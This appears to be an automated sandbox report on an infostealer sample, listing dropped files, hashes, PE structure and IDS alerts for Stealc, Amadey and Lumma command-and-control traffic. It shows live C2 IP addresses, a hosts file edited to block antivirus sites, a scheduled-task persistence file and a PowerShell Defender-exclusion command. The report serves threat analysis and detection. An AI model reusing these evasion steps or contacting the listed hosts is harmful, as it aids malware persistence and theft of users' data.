.O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1272_825958322\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Reputation:	unknown
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1272_825958322\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1272_825958322\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1272_825958322\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Reputation:	unknown
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBGIJJKKJJD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904128
Entropy (8bit):	7.948826242474524
Encrypted:	false
SSDEEP:	49152:7Vel+D6aTiNJ68++EcPsRq+jkFSXc1wEoIJuL:7Yq723pEcmq+jhcqRL
MD5:	2063AD6746859BA2896E6D3BC7082FBC
SHA1:	F29D5BCA4A5C61BA291BE6CFF88A46D5AC3BABD0
SHA-256:	71D1727CEECA04F6DE46C377C3D94FE31DE439E31454E320A7823C9ACA1D82D5
SHA-512:	1F1CDAF3CACCED639F8D5E60A11ED515B52D7687032DD27BD41E0E42C15F2A226DBE4F8735F689A13DBB1EBA112DFEBBB237601E21AF65E7F1F4D08B21720AE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k.......D...................``K..............................`K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...cyvkeaon.....p1.....................@...yqnrhegl.....pK.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009384001\filer.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2165
Entropy (8bit):	4.522303506272206
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFcqwUYi1iBopn2g2+oGSVy2w23c4Zezwd0/a7S4qqBLE97aFsL:vDZEurK9UUlcBsn2g2+lSw2w23c4ZezT
MD5:	BD87D7EA7B5DBD74CC0B0E38477F6079
SHA1:	63C28862A5D0052F2425A8B45AC0F66572A02F33
SHA-256:	EB97F9588DFFD94BC3B06EAED77751593F32F9E0D09A9B7868746AB16E7F45F1
SHA-512:	1DD93CD24870D9716980B38145A1DC23F8EFB5DB93DB9D5223C1D0984CD8E064C6C99B6833F7066392BA79D887AC37F0BA3D8D5CD657B56967D51A2836C52AF0
Malicious:	true
Reputation:	unknown
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost..0.0.0.0 virustotal.com.0.0.0.0 www.virustotal.com.0.0.0.0 avast.com.0.0.0.0 www.avast.com.0.0.0.0 totalav.com.0.0.0.0 www.totalav.com.0.0.0.0 scanguard.com.0.0.0.0 www.scanguar

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsBGIJJKKJJD.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.498221806379696
Encrypted:	false
SSDEEP:	6:DSyb5ls/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lB/l/act0:0lvJQ1CGAFMkXd8kX+VB/Zt0
MD5:	D7F7AF72529596A62A07F601E1EEE9F8
SHA1:	9A100AAD1365FE1BE0BF86E9CBBF1BAFC96B7672
SHA-256:	54242E00F819715CC954CE2333A32A0B220A2862A1A16F601E04CEB911193EAE
SHA-512:	36B23C329AFE14378E5124BDBF52FA2CA66AF924800E8E0DD116E27D5DBC5BBBA1CFE06CBEDBCF652EB00AAA99F5D394312BB1200348F3D97027AEC87DEEE335
Malicious:	false
Reputation:	unknown
Preview:	......'.{\@.0.4..+XF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................6.@3P.........................

\Device\Null

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.96750752880096
Encrypted:	false
SSDEEP:	24:nt0vndaudZC/ko+3bdh5wt0gVudZC/ko+3bdh5m:nticgZu+3OtZgZu+3U
MD5:	CEFDB75828002C2952337F1A9AB9AF19
SHA1:	35682AA16680C23F87D0D8AA0C92BB1A17AC6703
SHA-256:	A9993D019D2EBB3EC4974AEDA6BBDCE3F3394364045C9EFCC8FCCD0BE155CD3B
SHA-512:	077D3AB28656B97AF2B73916790217E175BDAF5AB993491D0736983BBC236EEC19BA840636CBC8E23D32A41B94D8D5AF0184FDFE727752063DC0150AB3A8C10A
Malicious:	false
Reputation:	unknown
Preview:	Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\ .....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\ .....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948950161151042
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'824'256 bytes
MD5:	6b1c2cd2ec903e7deafeebde9bf8fa76
SHA1:	86e42568bc553434de430649f85c804e820b244f
SHA256:	5f23080097579060ce2606e5980045eacc19bf835e94a0d3a4691b55160cc4a8
SHA512:	2bc748c350b61d27dbb31afe2a68e467e4839ef5216f2574106322f3350cd14baa9a84f669cc2c818dae3d43aec69c40dc3d836342aec5c39af0afff4b0cfaa1
SSDEEP:	49152:AbU5qdy6xDbnAcW+6aRa5KtJAx/TSSY7:AjM6mso5CAxW5
TLSH:	2385336AD7CA96B7CD48E1728651C22D27583344BC85533D21AB34793E3EB5E093BC39
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F38ECF3735Ah
lfs ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F38ECF373C2h
push esi
dec edx
popad
je 00007F38ECF373BBh
push edx
dec esi
jc 00007F38ECF373CAh
cmp byte ptr [ebx], dh
push edx
jns 00007F38ECF37397h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F38ECF3739Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F38ECF373A7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F38ECF3739Ch
dec eax
dec ebp
jo 00007F38ECF37393h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F38ECF373A0h
insd
jnc 00007F38ECF373C0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F38ECF373A8h
push edx
insb
js 00007F38ECF373C1h
outsb
inc ecx
jno 00007F38ECF373A2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F38ECF3739Ch
dec ebx
js 00007F38ECF37393h
jne 00007F38ECF37381h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F38ECF373ACh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F38ECF3738Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F38ECF373C3h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	39950b3ea3de8e5b85b3998ce7fea133	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	023ce9ccccf3f196673a153882fc8d67	False	0.802734375	data	6.09178908761859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a9000	0x200	574afb99fb5e3604d07ff05223ea1862	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ztloqtqa	0x4f5000	0x1a4000	0x1a3600	a437edf036d1a7b0432ab8831e0663b8	False	0.9948904387108792	data	7.953350672986591	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yftouuyu	0x699000	0x1000	0x600	643b2bcdc619817d785f4b2a949051db	False	0.5872395833333334	data	5.101463735746202	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69a000	0x3000	0x2200	812955910ae60c42ec2987e7a460ea2d	False	0.3947610294117647	DOS executable (COM)	4.1678798729002695	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x698308	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T22:52:17.648675+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-26T22:52:18.112773+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-26T22:52:18.235520+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49712	TCP
2024-11-26T22:52:18.747324+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-26T22:52:18.854562+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49712	TCP
2024-11-26T22:52:20.757363+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-26T22:52:21.547061+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-26T22:52:44.048580+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:45.918814+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:47.219619+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:48.635067+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:53.073987+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:54.137025+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:59.891559+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49913	185.215.113.16	80	TCP
2024-11-26T22:53:14.936743+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49977	185.215.113.43	80	TCP
2024-11-26T22:53:19.587845+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49991	31.41.244.11	80	TCP
2024-11-26T22:54:03.430717+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49984	TCP
2024-11-26T22:54:04.767086+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.7	50096	185.215.113.43	80	TCP
2024-11-26T22:54:06.275716+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50101	31.41.244.11	80	TCP
2024-11-26T22:54:17.635142+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50129	185.215.113.43	80	TCP
2024-11-26T22:54:19.144331+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50132	31.41.244.11	80	TCP
2024-11-26T22:54:23.602230+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50134	185.215.113.43	80	TCP
2024-11-26T22:54:25.161580+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50136	185.215.113.16	80	TCP
2024-11-26T22:54:25.532523+0100	2048736	ET MALWARE LUMAR Stealer Exfiltration M2	1	192.168.2.7	50138	185.244.212.106	2227	TCP
2024-11-26T22:54:33.711787+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50144	185.215.113.43	80	TCP
2024-11-26T22:54:33.946415+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50145	172.67.153.209	443	TCP
2024-11-26T22:54:34.694955+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50145	172.67.153.209	443	TCP
2024-11-26T22:54:34.694955+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50145	172.67.153.209	443	TCP
2024-11-26T22:54:35.383988+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50146	185.215.113.16	80	TCP
2024-11-26T22:54:36.343679+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50147	172.67.153.209	443	TCP
2024-11-26T22:54:37.101986+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50147	172.67.153.209	443	TCP
2024-11-26T22:54:37.101986+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50147	172.67.153.209	443	TCP
2024-11-26T22:54:39.184744+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50148	172.67.153.209	443	TCP
